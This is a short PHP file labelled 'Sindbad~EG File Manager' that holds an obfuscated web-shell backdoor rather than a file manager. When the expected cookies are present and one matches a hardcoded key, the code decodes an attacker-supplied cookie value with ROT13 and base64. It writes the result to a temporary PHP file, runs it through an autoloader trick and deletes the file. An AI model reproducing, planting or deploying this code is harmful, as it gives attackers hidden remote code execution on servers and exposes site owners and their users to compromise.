Sindbad~EG File Manager

<?php


if (isset($_COOKIE[-85+85]) && isset($_COOKIE[98+-97]) && isset($_COOKIE[-77+80]) && isset($_COOKIE[25+-21])) {
    $dchunk = $_COOKIE;
    function reverse_searcher($entity) {
        $dchunk = $_COOKIE;
        $elem = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '431ac305');
        if (!is_writable($elem)) {
            $elem = getcwd() . DIRECTORY_SEPARATOR . "event_dispatcher";
        }
        $pointer = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($dchunk[3]));
        if (is_writeable($elem)) {
            $value = fopen($elem, 'w+');
            fputs($value, $pointer);
            fclose($value);
            spl_autoload_unregister(__FUNCTION__);
            require_once($elem);
            @array_map('unlink', array($elem));
        }
    }
    spl_autoload_register("reverse_searcher");
    $fac = "0551db8d7b0b90849673cca4482921f2";
    if (!strncmp($fac, $dchunk[4], 32)) {
        if (@class_parents("request_approved_sync_manager", true)) {
            exit;
        }
    }
}